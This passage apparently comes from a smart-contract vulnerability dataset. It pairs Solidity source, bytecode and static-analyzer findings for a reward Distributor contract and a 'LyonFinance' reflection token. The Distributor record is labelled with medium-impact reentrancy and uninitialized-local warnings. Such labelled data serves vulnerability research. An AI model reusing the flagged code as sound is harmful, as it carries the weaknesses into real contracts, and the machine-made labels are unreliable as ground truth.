bytes32(uint256(_address)); bytes memory HEX = "0123456789abcdef"; bytes memory _addr = new bytes(42); _addr[0] = "0"; _addr[1] = "x"; for (uint256 i = 0; i < 20; i++) { _addr[2 + i * 2] = HEX[uint8(_bytes[i + 12] >> 4)]; _addr[3 + i * 2] = HEX[uint8(_bytes[i + 12] & 0x0f)]; } return string(_addr); } } interface IPolicy { function policy() external view returns (address); function renouncePolicy() external; function pushPolicy(address newPolicy_) external; function pullPolicy() external; } contract Policy is IPolicy { address internal _policy; address internal _newPolicy; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { _policy = msg.sender; emit OwnershipTransferred(address(0), _policy); } function policy() public view override returns (address) { return _policy; } modifier onlyPolicy() { require(_policy == msg.sender, "Ownable: caller is not the owner"); _; } function renouncePolicy() public virtual override onlyPolicy { emit OwnershipTransferred(_policy, address(0)); _policy = address(0); } function pushPolicy(address newPolicy_) public virtual override onlyPolicy { require(newPolicy_ != address(0), "Ownable: new owner is the zero address"); _newPolicy = newPolicy_; } function pullPolicy() public virtual override { require(msg.sender == _newPolicy); emit OwnershipTransferred(_policy, _newPolicy); _policy = _newPolicy; } } interface ITreasury { function mintRewards(address _recipient, uint256 _amount) external; } contract Distributor is Policy { using SafeMath for uint256; using SafeERC20 for IERC20; /* ====== VARIABLES ====== */ address public immutable DMND; address public immutable treasury; uint256 public immutable epochLength; uint256 public nextEpochBlock; mapping(uint256 => Adjust) public adjustments; /* ====== STRUCTS ====== */ struct Info { uint256 rate; // in ten-thousandths ( 5000 = 0.5% ) address recipient; } Info[] public info; struct Adjust { bool add; uint256 rate; uint256 target; } /* ====== CONSTRUCTOR ====== */ constructor( address _treasury, address _dmnd, uint256 _epochLength, uint256 _nextEpochBlock ) { require(_treasury != address(0)); treasury = _treasury; require(_dmnd != address(0)); DMND = _dmnd; epochLength = _epochLength; nextEpochBlock = _nextEpochBlock; } /* ====== PUBLIC FUNCTIONS ====== */ /** @notice send epoch reward to staking contract */ function distribute() external returns (bool) { if (nextEpochBlock <= block.number) { nextEpochBlock = nextEpochBlock.add(epochLength); // set next epoch block // distribute rewards to each recipient for (uint256 i = 0; i < info.length; i++) { if (info[i].rate > 0) { ITreasury(treasury).mintRewards( // mint and send from treasury info[i].recipient, nextRewardAt(info[i].rate) ); adjust(i); // check for adjustment } } return true; } else { return false; } } /* ====== INTERNAL FUNCTIONS ====== */ /** @notice increment reward rate for collector */ function adjust(uint256 _index) internal { Adjust memory adjustment = adjustments[_index]; if (adjustment.rate != 0) { if (adjustment.add) { // if rate should increase info[_index].rate = info[_index].rate.add(adjustment.rate); // raise rate if (info[_index].rate >= adjustment.target) { // if target met adjustments[_index].rate = 0; // turn off adjustment } } else { // if rate should decrease info[_index].rate = info[_index].rate.sub(adjustment.rate); // lower rate if (info[_index].rate <= adjustment.target) { // if target met adjustments[_index].rate = 0; // turn off adjustment } } } } /* ====== VIEW FUNCTIONS ====== */ /** @notice view function for next reward at given rate @param _rate uint @return uint */ function nextRewardAt(uint256 _rate) public view returns (uint256) { return IERC20(DMND).totalSupply().mul(_rate).div(1000000); } /** @notice view function for next reward for specified address @param _recipient address @return uint */ function nextRewardFor(address _recipient) public view returns (uint256) { uint256 reward; for (uint256 i = 0; i < info.length; i++) { if (info[i].recipient == _recipient) { reward = nextRewardAt(info[i].rate); } } return reward; } /* ====== POLICY FUNCTIONS ====== */ /** @notice adds recipient for distributions @param _recipient address @param _rewardRate uint */ function addRecipient(address _recipient, uint256 _rewardRate) external onlyPolicy { require(_recipient != address(0)); info.push(Info({recipient: _recipient, rate: _rewardRate})); } /** @notice removes recipient for distributions @param _index uint @param _recipient address */ function removeRecipient(uint256 _index, address _recipient) external onlyPolicy { require(_recipient == info[_index].recipient); info[_index].recipient = address(0); info[_index].rate = 0; } /** @notice set adjustment info for a collector's reward rate @param _index uint @param _add bool @param _rate uint @param _target uint */ function setAdjustment( uint256 _index, bool _add, uint256 _rate, uint256 _target ) external onlyPolicy { adjustments[_index] = Adjust({add: _add, rate: _rate, target: _target}); } }
0x608060405234801561001057600080fd5b50600436106100ff5760003560e01c80636d7e9a0811610097578063c9fa8b2a11610066578063c9fa8b2a14610264578063e4fc6b6d14610281578063f79822431461029d578063fe3fbbad146102c9576100ff565b80636d7e9a08146101f1578063a15ad077146101f9578063a4b239801461021f578063bc3b2b1214610227576100ff565b806357d775f8116100d357806357d775f8146101a65780635beede08146101ae5780635db854b0146101b857806361d027b3146101e9576100ff565b8062640c2e146101045780630505c8c91461011e5780632e3405991461014257806336d33f4414610180575b600080fd5b61010c6102f5565b60408051918252519081900360200190f35b6101266102fb565b604080516001600160a01b039092168252519081900360200190f35b61015f6004803603602081101561015857600080fd5b503561030b565b604080519283526001600160a01b0390911660208301528051918290030190f35b61010c6004803603602081101561019657600080fd5b50356001600160a01b0316610342565b61010c6103c5565b6101b66103e9565b005b6101b6600480360360808110156101ce57600080fd5b5080359060208101351515906040810135906060013561046e565b610126610514565b610126610538565b6101b66004803603602081101561020f57600080fd5b50356001600160a01b031661055c565b6101b661062f565b6102446004803603602081101561023d57600080fd5b50356106e5565b604080519315158452602084019290925282820152519081900360600190f35b61010c6004803603602081101561027a57600080fd5b503561070a565b6102896107ae565b604080519115158252519081900360200190f35b6101b6600480360360408110156102b357600080fd5b506001600160a01b03813516906020013561090f565b6101b6600480360360408110156102df57600080fd5b50803590602001356001600160a01b0316610a23565b60025481565b6000546001600160a01b03165b90565b6004818154811061031b57600080fd5b6000918252602090912060029091020180546001909101549091506001600160a01b031682565b60008060005b6004548110156103be57836001600160a01b03166004828154811061036957fe5b60009182526020909120600160029092020101546001600160a01b031614156103b6576103b36004828154811061039c57fe5b90600052602060002090600202016000015461070a565b91505b600101610348565b5092915050565b7f000000000000000000000000000000000000000000000000000000000000089881565b6001546001600160a01b0316331461040057600080fd5b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36001546000805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03909216919091179055565b6000546001600160a01b031633146104cd576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60408051606081018252931515845260208085019384528482019283526000958652600390529093209151825460ff19169015151782555160018201559051600290910155565b7f00000000000000000000000082b9acb41118f1c48be24af4f16c4b7f561ff42981565b7f000000000000000000000000144e3b02e08e644ffbb7ff652763f5b72ee2270181565b6000546001600160a01b031633146105bb576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166106005760405162461bcd60e51b8152600401808060200182810382526026815260200180610ee26026913960400191505060405180910390fd5b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461068e576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a36000805473ffffffffffffffffffffffffffffffffffffffff19169055565b60036020526000908152604090208054600182015460029092015460ff909116919083565b60006107a8620f42406107a2847f000000000000000000000000144e3b02e08e644ffbb7ff652763f5b72ee227016001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561077057600080fd5b505afa158015610784573d6000803e3d6000fd5b505050506040513d602081101561079a57600080fd5b505190610b22565b90610b82565b92915050565b60004360025411610907576002546107e6907f0000000000000000000000000000000000000000000000000000000000000898610bc4565b60025560005b6004548110156108fd5760006004828154811061080557fe5b90600052602060002090600202016000015411156108f5577f00000000000000000000000082b9acb41118f1c48be24af4f16c4b7f561ff4296001600160a01b0316636a20de926004838154811061085957fe5b906000526020600020906002020160010160009054906101000a90046001600160a01b031661088e6004858154811061039c57fe5b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050600060405180830381600087803b1580156108d457600080fd5b505af11580156108e8573d6000803e3d6000fd5b505050506108f581610c1e565b6001016107ec565b5060019050610308565b506000610308565b6000546001600160a01b0316331461096e576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b03821661098157600080fd5b604080518082019091529081526001600160a01b03918216602082019081526004805460018101825560009190915291517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b600290930292830155517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19c909101805473ffffffffffffffffffffffffffffffffffffffff191691909216179055565b6000546001600160a01b03163314610a82576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60048281548110610a8f57fe5b60009182526020909120600160029092020101546001600160a01b03828116911614610aba57600080fd5b600060048381548110610ac957fe5b906000526020600020906002020160010160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550600060048381548110610b0d57fe5b60009182526020909120600290910201555050565b600082610b31575060006107a8565b82820282848281610b3e57fe5b0414610b7b5760405162461bcd60e51b8152600401808060200182810382526021815260200180610f086021913960400191505060405180910390fd5b9392505050565b6000610b7b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610d85565b600082820183811015610b7b576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b610c26610ebe565b506000818152600360209081526040918290208251606081018452815460ff161515815260018201549281018390526002909101549281019290925215610d8157805115610cfa57610c9a816020015160048481548110610c8357fe5b600091825260209091206002909102015490610bc4565b60048381548110610ca757fe5b600091825260209091206002909102015560408101516004805484908110610ccb57fe5b90600052602060002090600202016000015410610cf5576000828152600360205260408120600101555b610d81565b610d26816020015160048481548110610d0f57fe5b600091825260209091206002909102015490610e27565b60048381548110610d3357fe5b600091825260209091206002909102015560408101516004805484908110610d5757fe5b90600052602060002090600202016000015411610d81576000828152600360205260408120600101555b5050565b60008183610e115760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610dd6578181015183820152602001610dbe565b50505050905090810190601f168015610e035780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610e1d57fe5b0495945050505050565b6000610b7b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060008184841115610eb65760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610dd6578181015183820152602001610dbe565b505050900390565b60405180606001604052806000151581526020016000815260200160008152509056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a264697066735822122036ba646e4d2fc53a38d658a8d1fa53ab1d7ff9fdc50d3956448f49195fd4d4a264736f6c63430007050033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
47
0x75D2C794935e4d7A6616Cc0E220010731318b0E5
/** *Submitted for verification at Etherscan.io on 2021-05-03 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Lyon is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10**8 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'LyonFinance'; string private _symbol = 'LYON'; uint8 private _decimals = 9; constructor () public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function reflect(uint256 tAmount) public { address sender = _msgSender(); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = tAmount.div(100).mul(2); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063313ce5671161009757806395d89b411161006657806395d89b411461043c578063a457c2d7146104bf578063a9059cbb14610523578063dd62ed3e14610587576100f5565b8063313ce5671461031157806339509351146103325780634549b0391461039657806370a08231146103e4576100f5565b806313114a9d116100d357806313114a9d1461020f57806318160ddd1461022d57806323b872dd1461024b5780632d838119146102cf576100f5565b8063053ab182146100fa57806306fdde0314610128578063095ea7b3146101ab575b600080fd5b6101266004803603602081101561011057600080fd5b81019080803590602001909291905050506105ff565b005b6101306106ea565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610170578082015181840152602081019050610155565b50505050905090810190601f16801561019d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101f7600480360360408110156101c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061078c565b60405180821515815260200191505060405180910390f35b6102176107aa565b6040518082815260200191505060405180910390f35b6102356107b4565b6040518082815260200191505060405180910390f35b6102b76004803603606081101561026157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107c4565b60405180821515815260200191505060405180910390f35b6102fb600480360360208110156102e557600080fd5b810190808035906020019092919050505061089d565b6040518082815260200191505060405180910390f35b610319610921565b604051808260ff16815260200191505060405180910390f35b61037e6004803603604081101561034857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610938565b60405180821515815260200191505060405180910390f35b6103ce600480360360408110156103ac57600080fd5b81019080803590602001909291908035151590602001909291905050506109eb565b6040518082815260200191505060405180910390f35b610426600480360360208110156103fa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aa6565b6040518082815260200191505060405180910390f35b610444610af6565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610484578082015181840152602081019050610469565b50505050905090810190601f1680156104b15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61050b600480360360408110156104d557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b98565b60405180821515815260200191505060405180910390f35b61056f6004803603604081101561053957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c65565b60405180821515815260200191505060405180910390f35b6105e96004803603604081101561059d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c83565b6040518082815260200191505060405180910390f35b6000610609610d0a565b9050600061061683610d12565b50505050905061066d816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d6a90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506106c481600354610d6a90919063ffffffff16565b6003819055506106df83600454610db490919063ffffffff16565b600481905550505050565b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107825780601f1061075757610100808354040283529160200191610782565b820191906000526020600020905b81548152906001019060200180831161076557829003601f168201915b5050505050905090565b60006107a0610799610d0a565b8484610e3c565b6001905092915050565b6000600454905090565b600067016345785d8a0000905090565b60006107d1848484611033565b610892846107dd610d0a565b61088d856040518060600160405280602881526020016117bd60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610843610d0a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111a89092919063ffffffff16565b610e3c565b600190509392505050565b60006003548211156108fa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180611750602a913960400191505060405180910390fd5b6000610904611268565b9050610919818461129390919063ffffffff16565b915050919050565b6000600760009054906101000a900460ff16905090565b60006109e1610945610d0a565b846109dc8560026000610956610d0a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610db490919063ffffffff16565b610e3c565b6001905092915050565b600067016345785d8a0000831115610a6b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f416d6f756e74206d757374206265206c657373207468616e20737570706c790081525060200191505060405180910390fd5b81610a8a576000610a7b84610d12565b50505050905080915050610aa0565b6000610a9584610d12565b505050915050809150505b92915050565b6000610aef6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461089d565b9050919050565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b8e5780601f10610b6357610100808354040283529160200191610b8e565b820191906000526020600020905b815481529060010190602001808311610b7157829003601f168201915b5050505050905090565b6000610c5b610ba5610d0a565b84610c56856040518060600160405280602581526020016118576025913960026000610bcf610d0a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111a89092919063ffffffff16565b610e3c565b6001905092915050565b6000610c79610c72610d0a565b8484611033565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b6000806000806000806000610d26886112dd565b915091506000610d34611268565b90506000806000610d468c868661132f565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b6000610dac83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111a8565b905092915050565b600080828401905083811015610e32576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ec2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806118336024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f48576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061177a6022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110b9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061180e6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561113f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061172d6023913960400191505060405180910390fd5b60008111611198576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806117e56029913960400191505060405180910390fd5b6111a383838361138d565b505050565b6000838311158290611255576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561121a5780820151818401526020810190506111ff565b50505050905090810190601f1680156112475780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000806000611275611547565b9150915061128c818361129390919063ffffffff16565b9250505090565b60006112d583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115a6565b905092915050565b600080600061130960026112fb60648761129390919063ffffffff16565b61166c90919063ffffffff16565b905060006113208286610d6a90919063ffffffff16565b90508082935093505050915091565b600080600080611348858861166c90919063ffffffff16565b9050600061135f868861166c90919063ffffffff16565b905060006113768284610d6a90919063ffffffff16565b905082818395509550955050505093509350939050565b600080600080600061139e86610d12565b945094509450945094506113f9856000808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d6a90919063ffffffff16565b6000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061148c846000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610db490919063ffffffff16565b6000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114d883826116f2565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b60008060006003549050600067016345785d8a0000905061157b67016345785d8a000060035461129390919063ffffffff16565b